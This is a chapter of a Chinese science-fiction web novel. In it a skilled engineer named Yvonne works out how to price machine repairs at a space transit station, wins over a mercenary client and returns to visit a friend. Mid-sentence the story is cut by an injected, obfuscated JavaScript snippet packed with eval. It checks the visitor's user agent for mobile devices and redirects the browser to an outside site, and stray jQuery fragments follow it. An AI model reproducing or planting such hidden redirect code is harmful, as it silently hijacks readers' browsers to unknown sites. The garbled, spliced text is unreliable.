21. 赚钱
作品:《启程》 伊冯驾驶着飞行器返回栖止,还在想自己是不是该多要些钱。
寄来的飞行器破损情况比卖家出售页面的叙述更严重,她检查后还发现了操作系统故障,推进器、转向器都损坏得无法保证正常飞行。
找卖家质问,卖家很快给她发了一长串道歉,并主动提出退她一万算是维修补偿。
伊冯见对面态度诚恳,给的解释也合理,就接受了道歉,收下钱。自己花了三小时,从她的逃生舱箱子里拆了不少部件,把飞行器修到能正常运行的程度。
她修好机子后直接在驾驶舱过夜,醒来后戴上视觉干扰器调试参数,在适应用法的同时去网上查维修费用。中转站每天有数万架飞行器往来,会是个稳定的收入来源。网上接单的机械工程师开出的维修价位,最高的也没过万——看评论区的消费返图,大都处理得粗糙。这些在网上接单的大多水平有限,高级机械工程师基本都受雇于大企业或是家族。
她的习惯是在维修同时升级原有功能,不好直接对比价位,以她的技术,定价几万肯定不过分。但她现在能接触到的雇主,或许更愿意把请她维修的费用拿去买新的设备。
伊冯开着视觉干扰器离开飞行器去吃早餐,为防意外围上头巾遮挡样貌,并一路上观察有没有需要维修的地方。
中转站的条件比栖止城好不少,价格也更合理。伊冯找了家咖啡厅,坐在吧台边的位置上,看着开放式后厨里的烹饪机器按部就班地出餐。
三明治机有杂音,应该是老化和过度使用导致;沙拉机的执行程序有优化空间;煮面机和煎饼机的自清洁不到位;咖啡机的咖啡豆损耗太多……连上菜机器人都浑身叽嘎作响、脱漆生锈。
伊冯吃完一盘煎饼、烩面和两份三明治。味道先不说,焦度不均匀,调味料也没和撒匀,这些设备的许多部件都该换新的了。
她喝完杯里的燕麦奶,找到在吧台后擦拭玻璃杯的店主,说出她观察到的问题,提出帮她们维修。
伊冯说:“我还能帮你们升级设备功能,让它们有比最新型同类产品更优秀的功能。”
店主避开她招呼另一个到柜台前就餐的客人,等转回头见伊冯还站在原地,笑说:“这位客人,还有什么需要的吗?”
伊冯说:“我说我可以为你修理这些设备,它们都需要维护换新。”
店主问:“不收钱?”
伊冯说了她的收价。在她之前看到的收费价位里,这是个中上的数字。虽然相对她的能力算得上是贱卖,但“利比逖”寂寂无名,只能先报保守的价位。
“小姑娘,如果你想挣钱,可以来帮我擦杯子。”店主拿起之前没擦完的杯子冲伊冯比划,“这里不是商业街或者高档餐厅,我的伙计们完成的工作对得起你们消费的钱。”
伊冯还想争取,当即拆开吧台上的点单机,把接触不良的显示板重装,重新组装的点单机清晰度肉眼可见得更高。店主却不耐烦地赶她出店,伊冯顾忌自己是找生意不能结怨,只能离开。
按店主说的,她不想提升服务品质,所以机器有问题也不想花钱解决。
看来只是技术高,还不足以吸引顾客。在推销自己之前,她得知道这些人想要的是什么。
“老板,我只是来加个润滑油,你就要我一百?以前不都只要七十吗,涨价太多了吧?”
“什么叫‘只是’,你觉得简单可以别来我的店啊。你上次来是什么时候了,还拿几百年前的物价来比?”
“站东的那家也才要价九十,要不是看你家便宜,谁会绕远过来?你涨价不提前说,故意坑熟客,明天就倒闭啊!”
“我们家用的油比她们高档,当然价格也更高,你有本事把加进去的油还给我,我就把钱退你!”
“你这!……”
伊冯找到一家机械维修店,在角落观察她们接到的委托都是什么类型的。这家维修店几小时下来接待的客人不过十来个,架却吵了几十场。
伊冯偷听着那些围绕费用的争执,明白了这地方低价格比高技术更重要,只要东西能用,消费者对于结果要求不高。
在外行人眼中,她的技术吸引力有限,这些在星际奔走工作的人只会为自己急切的需求付费,不必“最好”,“不坏”已经足够。
伊冯把吃空的饼干袋丢进垃圾桶,离店门有点距离的位置站着些旁观吵架的人,她走到一个装着机械臂的人身边。
伊冯问:“除了没法抓握,还有别的问题吗?”
对方讶异地打量她,很快意识到伊冯的目的,说:“也不能抬高过肩膀。你能修?”
伊冯点头:“在她们吵完之前就能修好。如果我没修好,不收钱,你去这家维修的费用我也帮你出。”
对方问:“如果你修好了,我要付你多少?”
“六百。”在对方开口之前,伊冯补充说,“这家修义肢失灵故障,最便宜也要六百八,我两个小时前刚见过她们怎么和那位只是小指失灵的客人争论的,你再跑几个中转站也找不到比我更实惠的。”
她都这么说了,对方当然没有拒绝的理由,饶有兴致地跟着伊冯坐到街边的椅子上。
伊冯拆开外壳,和她猜的一样,线路没固定好,在使用中渐渐偏移,和别的部件缠绕互相拉扯磨损。失去功能的线抽出装上新的,只有绝缘表皮破损的涂上绝缘胶封好,再把这些线分类固定在该在的位置。伊冯顺手给内部做了清灰,虽然还有很多她觉得能变动改进的地方,还是忍耐住,把外壳装回去,让客户验收结果。
客人活动手臂和五指,那边维修店里的争吵声还没消停,几句话的功夫,她的机械臂已经和平时一样可以随意动作。
“就算是恣睢最好的工程师,恐怕都没有你的技术好。”这位客人转动终端手环出示转账码,“你之后会在哪里活动,我如果还想修什么,能去哪找你?”
恣睢系是佣兵扎堆的地方,这人果然是佣兵。
伊冯扫码,入账两千。
伊冯说:“这不是我们说好的价钱。”
“这是你应得的。我叫布莱恩,自由佣兵。”布莱恩伸出她刚被伊冯修好的机械臂,“我还从没有这么厉害的机械工程师朋友。”
伊冯看着对方的笑容,握住布莱恩的手,说:“我叫利比逖,目前在这个中转站做机械维修工程师——你是我的第一个客人。”
布莱恩微笑的方式很容易让人产生好感,她笑道:“真是荣幸!相信我,你的顾客会多到你提价也挡不住。”
伊冯回以微笑:希望这个叫布莱恩的佣兵能多给她介绍些客人,她可是看到有不少人和她打招呼、看起来人缘不错的样子,才挑中这个人做首位客人。
布莱恩没有让伊冯失望,接下来的时间里,利比逖的终端里迅速增加了十几位新联络人。除了个别必须更换部件的,伊冯每个不用半小时就处理完,就算是那些要换部件的,也只是多拧几个螺丝的步骤罢了。她越轻描淡写,旁观的布莱恩越是惊喜。
因为她自夸哪类机械都会修,布莱恩介绍人来时便存了试探的心思,每个人的问题都不一样。从载具到武
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621593|172270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
器,从外骨骼到义体,这个叫利比逖的少年都是看一眼就立刻动手,毫无迟疑、动作利落。
只看她的动作,外行或许会觉得这些修理工作很简单,几百块钱已经足够回报她的工作。布莱恩不是涉世未深的愣头青,太清楚这种果断里有着万金不换的积累。
可惜布莱恩还有事要办,不能久留,给伊冯发了几个此地熟人的通讯号,才不舍地道别离开。
“你的要价可以再高点,价格太低反而不容易被信任。”布莱恩临走前还说,“你技术这么好却要价这么低,小心被同行记恨你扰乱市场。”
这确实是伊冯没考虑到的地方,定价这事真是有够麻烦的。好在现在她已经有了一些信任她技术的客人,再加上布莱恩的友情宣传,之后可以大胆开价了。
布莱恩的“熟人”里,有一位恰好是伊冯早上推销失败的咖啡厅老板。
伊冯先加上老板的通讯号,聊天框里,老板因为她是布莱恩的朋友,态度热情,向她抱怨店里的设备老旧、问题一堆——完全是照搬了伊冯的说辞。
伊冯微笑着输入一个金额,比给别人的定价在末尾多了一个零。
老板居然也接受了,很快和伊冯商定好上门维修时间,还付了定金。
就算有布莱恩的推荐,咖啡厅老板的态度也变得太多了。伊冯只能理解为早上自己开价太低,被老板当作对自己技术没信心、只想赚饭钱的新手了。如果多一位数的价格都能被接受——她应该把价格报得更高。
因为事先答应过R今天还要去看她,伊冯和店主把时间约在第二天,先回一趟栖止。
栖止城外的停机场当然也是收费的。伊冯虽然有考虑过把飞行器藏到岩石区,像之前那伙星匪停飞船的地方就不错,但离城门太远,太费事了。就算停机费贵,她有自信靠节省的时间赚回来。城里佣兵的飞船也都停在那些地方,肯定有类似通行证的实惠方案。
停机场有安全信息扫描网,伊冯打开飞行器的接收器,利比逖的信息通过验证。她收到利比逖的终端后,拆了芯片装到她原来的终端里,可以根据需要实时切换身份。
停机场上的遮罩打开能令飞行器降落的缺口,而后迅速关闭。
指引光标引导飞行器到停机位,伊冯在半空看见几艘曾在陨石群边缘混战的载具,停机场也按她们在城内的势力划分了区域。
分给伊冯的位置离出口很远,她往外走的路上观察那些载具的状态,在心里评估这些能不能成为她的潜在客户——转念一想,她赚钱是为了做研究,栖止的人只交易现金,要换成虚拟货币再去买研究材料,麻烦得毫无必要。
她便不多看,快步往出口赶。
停机场离城门也有段距离,伊冯走得心烦:就不能做条自动走道吗,这点距离维护起来能麻烦到哪去。看来她还得做个代步机。
伊冯进城后直奔R的住所,在路过一间杂货店时买了些压缩食品,这类食物虽然口感不好,但比大多餐厅里现做的营养成分更丰富,也更好保存。
她敲击土灶上的木板三下,R很快上来给她开门,见到伊冯手臂上的显示屏就很有节奏地蹦字。
伊冯把手里拎着的几包材料分她几袋拿下去,出了通道,却见到一个眼熟的人站在房间中央。
目测身高勉强有一米六的女孩穿着不合身的衣服,布料下隐约可见缠遍全身的绷带。这次她的绷带没染血,但透着奇怪的颜色和气味,这些绷带不是单纯的装饰品。
看来R说的之前为她治病的医生,就是这位“怪医”了。